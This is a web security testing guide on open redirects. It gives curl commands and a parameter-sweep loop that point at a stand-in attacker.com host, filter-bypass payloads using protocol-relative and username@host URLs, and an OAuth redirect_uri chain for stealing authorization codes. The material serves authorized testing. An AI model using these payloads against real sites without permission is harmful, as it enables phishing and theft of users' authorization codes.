# Open Redirect Testing

- **URL:** https://hackindex.io/services/web/vulnerability-discovery/open-redirect-testing
- **Path:** HTTP/HTTPS > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/web/vulnerability-discovery.md)
- **Published:** 2026-03-28
- **Updated:** 2026-03-28

Open redirects forward users to attacker-controlled URLs through a trusted domain. While lower impact than injection vulnerabilities, open redirects are used to craft convincing phishing URLs, bypass OAuth redirect_uri restrictions, and chain with SSRF when the server follows redirects. Detection confirms the application forwards to external URLs without validation.

- **Basic external redirect** injects an attacker URL into redirect parameters and checks the Location header.
- **Common parameter sweep** tests redirect, url, next, return, goto, dest, and similar parameter names.
- **Filter bypasses** use protocol-relative URLs, username@host tricks, and URL encoding to evade validation.
- **OAuth redirect_uri abuse** chains open redirects on the same domain to steal authorization codes.

Look for parameters named redirect, url, next, return, returnUrl, goto, dest, destination, or continue. These appear frequently on login pages, logout handlers, and post-action redirects found during [parameter crawling](https://hackindex.io/services/web/enumeration/parameter-crawling).

## Basic External Redirect Test

Supply an external URL in the redirect parameter and check whether the server redirects there:

```bash
curl -skI "http://$TARGET_IP:$PORT/login?redirect=https://attacker.com" | grep -i location
# location: https://attacker.com
```

```bash
curl -skIL "http://$TARGET_IP:$PORT/logout?next=https://attacker.com" | grep -iE 'location|attacker'
```

A Location header pointing to attacker.com confirms an open redirect. Note the HTTP status code: 301 and 302 are both open redirects. A 200 with the redirect URL in the body but no Location header means it's a JavaScript redirect, still exploitable through a browser.

## Common Parameter Names

Test the most common redirect parameter names against the login, logout, and post-auth endpoints:

```bash
for param in redirect url next return returnUrl goto dest destination return_to continue r redir; do code=$(curl -skI "http://$TARGET_IP:$PORT/login?${param}=https://attacker.com" | grep -i location | grep -c attacker); echo "$param: $code"; done
# redirect: 0
# url: 0
# next: 1
# return: 0
# returnUrl: 0
```

## Filter Bypass Variants

Applications that check for external URLs often use simple validation that can be bypassed:

```bash
curl -skI "http://$TARGET_IP:$PORT/login?next=//attacker.com" | grep -i location
```

```bash
curl -skI "http://$TARGET_IP:$PORT/login?next=https://attacker.com%2F%2F$DOMAIN" | grep -i location
```

```bash
curl -skI "http://$TARGET_IP:$PORT/login?next=https://$DOMAIN@attacker.com" | grep -i location
```

```bash
curl -skI "http://$TARGET_IP:$PORT/login?next=%2F%2Fattacker.com" | grep -i location
```

Protocol-relative URLs like `//attacker.com` bypass checks that look for `http://` but are treated as full URLs by browsers. The `username@host` trick fools validators that check whether the domain is present: the domain appears to be a username while the actual destination is attacker.com.

## OAuth redirect_uri Abuse

Open redirects on OAuth callback endpoints allow stealing authorization codes. If an open redirect exists on the same domain as the registered redirect_uri, it can be used to redirect the code to an attacker-controlled server:

```bash
curl -skI "https://$DOMAIN/oauth/authorize?client_id=CLIENT_ID&redirect_uri=https://$DOMAIN/login?next=https://attacker.com&response_type=code" | grep -i location
```

## References

- [PortSwigger: OAuth Vulnerabilities](https://portswigger.net/web-security/oauth) - Open redirect chaining with OAuth redirect_uri validation bypass
- [PayloadsAllTheThings: Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) - Filter bypass payloads and URL format variants
